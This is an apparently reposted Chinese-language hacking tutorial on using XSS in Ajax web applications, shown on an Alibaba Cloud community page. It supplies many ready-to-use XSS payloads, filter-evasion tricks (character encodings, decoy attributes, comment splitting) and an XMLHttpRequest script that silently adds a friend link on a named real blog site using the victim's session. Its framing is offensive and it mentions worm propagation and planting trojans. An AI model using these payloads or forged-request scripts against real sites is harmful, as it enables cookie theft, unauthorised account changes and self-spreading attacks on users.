Ajax hacking with XSS

來源:互聯網
上載者:User
文章目錄
  •   Ajax hacking
  •   XSS 利用方式
  •   URL XSS
  •   Input和textarea以及css XSS
  •   Embed XSS
  •   Rss以及Xml XSS
  •   代碼插入方式
  •   過濾繞過方式
  •   非同步資料調用
  •   總結

為什麼在Ajax hacking中使用XSS?它與傳統的XSS又有什麼區別?它們各有怎麼樣的利弊端?大型網站的所謂XSS漏洞是否為雞肋?下面我們一起來詳細分析下。

  Ajax hacking

  Ajax hacking這個名詞最先出現在Billy Hoffman的一篇名為《AJAX dangers》報告中,他把samy 和yamanner這種攻擊形式定義為AJAX hacking。而在此之前它們只是被說屬於web2.0蠕蟲(或XSSworm) ,但對這種攻擊形式並沒有一個明確的定義。這裡我們暫以AJax hacking中的XSS進行一些深入的性討論 。關於Ajax的其他攻擊形式請到網上參看文章《Top 10 Ajax Security Holes and Driving Factors》或 者是翻譯成中文的《細數Web2.0下的十大安全威脅》。

  在傳統的XSS攻擊中,我們的目的通常是直接提權或者擷取Cookies後提權,所以代碼執行方式一 般是windows.open、window.location或iframe,於是它的兩大弱點就體現出來了,不具有傳播性和易暴 露性。在AJax hacking中利用Ajax這一種新技術,攻擊方式及對象得以轉變。其實絕大部分人在獲得管理 員許可權又擁有檔案更改許可權後所能做的也就是掛馬,很少設計商業機密之類!而這一攻擊則直接把矛頭指 向用戶端,由於資料全部是使用非同步調取方式,所以具有很強的隱蔽能力;通過操縱已登入的使用者權限, 可以直接對使用者資訊變更,甚至可以使該代碼集合自動傳播實現蠕蟲功能。

  XSS 利用方式

  在傳播的XSS攻擊案例中,代碼插入的利用方式一般是在URL和文本地區(textarea)中。但對於 日前大面積利用Ajax技術進行建站的網站來說,利用新形式的Ajax hacking技術可以將利用方式大體擴充 到URL域、input域、textarea域、embed域、css、rss、xml載體七種方式。

  URL XSS

  可以進行XSS的URL一般為"(網域名稱)/(檔案名稱)(檔案格式)?(欄位名)=(欄位內容)"這種 形式,而且欄位內容通常會在頁面的某一個位置顯示出來或者被調用。由於網站編寫者的疏忽,沒有把對 應的欄位內容進行安全檢測和過濾,而直接調用到頁面上,使得我們只把欄位內容替換成我們想要的XSS 代碼即產生跨站。比如:

  http://club.sohu.com/joke/1.htm? stra=<script>alert(document.cookie);</script>

  但是這種方式一般需要誘使使用者點擊你事先偽造的連結,而連結你可以掛在論壇裡或者以E-mail 的方式進行釣魚性欺騙。

  Input和textarea以及css XSS

  input和textarea以及css XSS是我們所用到的方式中最廣泛的幾種,由於css實際上屬於Dhtml的 一部分,所以它們的利用方式及繞過過濾特點也大體相同,我們將在後面著重進行相關的解釋和實驗。

  Embed XSS

  Embed XSS一般利用在允許插入視頻,音樂以及flash的網站上,如果你連結到一個被惡意構造了 含有XSS指令碼的flash檔案,比如<EMBED SRC="xss.swf"></EMBED>,然後我們構造一個特殊 的.swf檔案,並在flash檔案的動作裡插入以Action Script引到的js或vbs代碼。當使用者訪問該頁面時既 產生跨站。

  Rss以及Xml XSS

  這種攻擊一般利用在可以進行rss彙總的網站以及部分本地的rss解譯器上(據說對本地的rss解釋 器進行XSS,有獲得主機許可權的可能性,不過本人沒有試過這個!),而且由於rss檔案一般可以在任何站 點上被引用,所以想進行這類的攻擊測試是很簡單的事情,效果也相當明顯。下面是對一個沒有進行任何 過濾設定的本地調用遠程rss.xml的執行個體效果,以及Google調用該rss的過濾效果。

  代碼插入方式

  由於插入的指令碼為js或者是vbs,所有一般需要由的關鍵字JavaScript、VbScript、expression比 如<IMG SRC="JavaScript:alert('XSS');">,但當接收滑鼠或鍵盤響應時,這三個關鍵字可以省略掉,所以有以下利用方法<img onmouseover="alert('XSS')">或者<INPUT onkeyup="alert('XSS');">等等。而且由於html並 不遵循xhtml的標準,所以可以有以下插入方式:

  1. 標籤屬性可以用雙引號、可以用單引號、也可以可不用引號;
  2. 屬性值可以大寫;可以小寫;也可以混合寫;
  3. 可以插入斷行符號、包括段末結尾符和分行符號的兩種、即char(10)和char(13)、tab空格;
  4. 如果是style形式還可以插入反斜線“\”、注釋符“/**/”;
  5. 可以將插入的代碼轉換成10進位、16進位;
  6. 由于禁止的不確定性,你插入的進位串可以進行一系列轉化並可以隨意搭配組合;
  7. 進字元“j”就可以有以下15種編碼方法,而且還是不計字元的大小寫。

    \6A\06A\006A\0006A\00006A            //java形式的16進位編碼

    &#106;&#0106;&#00106;&#000106;&#0000106;            //十 進位編碼

    &#x6A;&#x06A;&#x006A;&#x0006A;&#x00006A;            //十 六進位編碼

 8. 其他的編碼方式,如htmlEncode和URLEncode對於html及URL的編碼。

  至於可以插入代碼的html標籤嘛……說句近乎瘋狂的話——目前幾乎所有可以插入屬性的標籤都 可以插入代碼,比如<bstyle="xss:expression(alert('XSS'))">。

  在html標籤中可以插入代碼的屬性一般為:src、style、dynsrc(常用於img和input中,用此屬 性還可以插入視頻等)、lowsrc(預載縮圖)、滑鼠屬性(如o n m o u s e o v e r )、鍵盤屬性( 如onkeypress)、href屬性(常用於a和link)、boby的onload屬性、URL屬性等。

  過濾繞過方式

  當然人家網站也不可能傻乎乎地讓你輸入這些代碼,所以它們一般會對你輸入的字元進行過濾。 所以我們編寫好的代碼並一定就能順利的插入執行,很有可能某些關鍵的字元被過濾掉了,比 如"JavaScript"。如果只是這種單純的過濾,那麼繞過方法實在太簡單,只要每當輸入此字元時輸 入"javajavascriptscript"之類就可以了。當然網站程式員依然不會這樣傻,它們會進行種種過濾來防備 你,所以結合上面的"代碼插入方式",你可能會總結出以下的繞過網站過濾系統的方法:

  1、用控制字元的ASCII碼填充

  比如<IMG SRC="&#15;JavaScript:alert('XSS');">,如果你熟悉ASCII碼,你應該 知道系統控制字元一共是33個,這裡去掉一個頭&#00(null)和一個尾&#127(del),其他31個字元 均可以順利插入代碼頭部,對過濾系統進行混淆,並且不影響原代碼執行,而且你依然可以用"代碼插入 方式"中的"方案7"進行編碼的任意轉換。七種tab符&#9、分行符號&#10、斷行符號符&#13可以插到代碼任何地方。

  2、插入混淆屬性

  當我們進行一般的文字錄入時會發現,並不是所有帶"JavaSceipt"這樣的字元都會被過濾掉。而是只有在html標籤內的特殊字元會被濾掉,這使得我們有了令一套繞過措施,在插入代碼的屬性前面插 入另一混淆屬性,並在該屬性中插入讓過濾系統誤以為是標籤結束符的字元,從而讓過濾系統認為執行代碼在html標籤的外面。比如:

  <img src="abc>" onmouseover="[code]">            //插入混淆的src屬 性

  <IMG """><SCRIPT>[code]</SCRIPT>">            //插入混 淆的雙引號及 “>”符號

  <SCRIPT a=">" SRC="xss.js"></SCRIPT>            //插入混淆的a 屬性

  3、用注釋符分割

  由於瀏覽器會忽略掉每種代碼的注釋符,因此如果我們在代碼中的注釋符就可以成功地欺騙過濾 系統並且不影響XSS代碼的正常運行。比如:

  <img style="xss:expr/*XSS*/ession([code])">            //css的注釋符號 為/**/,其中的內容會被忽略

  <style>@im\port'\ja\vasc\ript:alert("XSS")';</style>            //css中忽略的符號還有“\”

  exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression (alert("XSS"))'>            //注釋混淆後的樣子

  <style><!--</style><script>[code]//-- ></script>            //html的注釋符為<!--注釋-->

  4、js編碼及調用

  如果過濾系統會過濾掉很多的特徵字元,那麼當我們做以上繞過的時候就會非常的麻煩,所以典型的繞過方案還有對這些代碼進行js編碼或者乾脆從外部調用過來。當然由於瀏覽器對Ajax的安全機制,你必須保證調用的檔案在相同的伺服器上,否則就會出現錯誤提示。

  非同步資料調用

  既然是Ajax hacking,自然需要用到非同步資料調用。這裡將簡單的介紹一下相關的知識,要更 深入的瞭解是長期實踐的結果。

  1、聲明xmlhttprequest對象

  資料調用需要事先聲明xmlhttprequest對象,在IE6及以前版本中最簡單的做法是:

  var XmlHttp=new ActiveXObject("Microsoft.XMLhttp");

  在IE7和firefox中的聲明方法是:

  var req = new XMLHttpRequest();

  所以如果我們想編出相容性更好的代碼,可以對用戶端瀏覽器進行判斷,然後分別定義 xmlhttprequest對象,如下:

  if(window.XMLHttprequest){
              XmlHttp = new XMLHttpRequest();
             }else if (window.ActiveXObject){
                Xmlhttp = new ActiveXObject ('Microsoft.XMLHTTP');
             }

  然後採用以下方法進行參數傳遞

  XmlHttp.Open("POST","URL",true);
  XmlHttp.send(null);

  這裡要主意的是,XmlHttp.Open中的第一個選項為頁面的請求方式,可以為post、get、head三種 第三 個選項true表示非同步方式、false表示同步方式。

  利用以上代碼,你可以簡單實現一下在TOM部落格中為目前使用者添加任意使用者的友情連結,如果添加 成功 會返回OK視窗,已經添加會返回friended,代碼如下:

           <script>
         var XmlHttp=new ActiveXObject ("Microsoft.XMLhttp");
         XmlHttp.Open("POST","http://blog.tom.com/manage/favorite/friend_list.php? UserName=monyer1&Flag=1",true);
                 XmlHttp.send(null)
                 XmlHttp.onreadystatechange=ServerProcess;
          function ServerProcess(){
                 if (Xmlhttp.readystate==4 || XmlHttp.readystate=='complete')
                      alert (XmlHttp.responsetext);           }
           </script>
  利用相同原理,給登入使用者添加文章也不是什麼難題,只不過稍微麻煩店而已,感興趣的朋友可 以自 己回去試試。

  V b s c r i p t 中聲明xmlhttprequest的代碼為這樣:

  dim httpreq as msxml.xmlhttprequest
  set httpreq = new xmlhttprequest
  httpreq.setrequesttheader "content- type:","text/xml;charest=gb2312"
  httpreq,send
  利用方式與js大體相同,這裡不做過多的即時。

  2、擷取頁面元素

  擷取頁面指定標籤和標籤中的值一般會用到以下幾個DOM對象,當然對象後面可以加入相關屬性, 比如 style、value、innerHTML等等。

  1)document. getElementByld            //獲得制定id的html標籤相關資訊

  2)document. getElementByname            //獲得指定name的html標籤相關資訊

  3)document. getElementByTagName            //獲得指定的html標籤相關資訊

  3、在頁面中插入html元素

  我指導的可以在頁面插入html的js函數有insertAdjacentHTML、innerHTML(outerHTML)、 inserAdjacentText、innerTEXT(outerTEXT)。其中前兩個是插入html代碼,後兩個是插入文本,所以 我們一般所用的就是前兩個。另外用document對象中的creatElement也可以實現代碼插入,輸入js代碼時 請注意大小寫問題。

  1)<a href="#" onclick="this.innerHTML='<h1>i am monyer</h1>' ">innerHTML</a>            //替換當前標籤中的內容,範圍不包括當前的 html標籤

  2)<a href="#" onclick="this.outerHTML='<h1>i am monyer</h1>' ">outerHTML</a>            //替換當前標籤及標籤中的內容,範圍包括當 前標籤及其中所有內容

  3)<a onclick="this.insertAdjacentHTML('afterEnd',<h1>monyer</h1>')" href="#">insertAdjacentHTML</a>            //新增插入的html代碼,不改 變原標籤及內容

  指定插入html標籤語句的地方,有四種值用:

  a.beforeBegin:插入到標籤開始標記後

  b.afterBegin:插入到標籤開始標記後

  c.beforeEnd:插入到標籤結束標記前

  d.afterEnd:插入到標籤結束標記後

  靈活地運用這兩個函數能幫我們變換出豐富的效果來,我利用百度空間插入視頻的簡化POC:

  Html頁面的代碼為:

  <script scr=monyerflash.js></script>
  <address>src=http:/ /tv.mofile.com/cn/xplayer.swf?v=9IWKFISE</address>
  monyerflash.js代碼為:

  window.onload=function(){
           var i,j,x,y,z;
           j=document.getElementsByTagName ('address');
  for(i=0;i<j.length;i++){
              y=document.getElementsByTagName('address') [i];
              z=document.getElementsByTagName('address') [i].firstChild.data;
              x='<br/><embed '+z+'></embed>';
             if(y) y.insertAdjacentHTML('beforeEnd'.x);
            }}

  總結

  有了以上概述,相信你對Ajax hacking with XSS已經有了一個大體的瞭解,並且只要把文中的響 應內容進行簡單的組合和更改,就很可能做出某些令人驚喜的東西。當然因為Ajax應用的是JavaScript的 一部分,所以想充分利用Ajax式的hacking並發揮它的威力還需要你對JavaScript有一個充分的瞭解。當 你在各個過濾系統間實戰時,你會遇到更多的苦難並需要試著解決各種問題。我認為是否真正入侵一個網 站或者順利掛馬是次要的,不斷提高自己,在功與防的對立統一中不斷尋求突破才是王道!

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.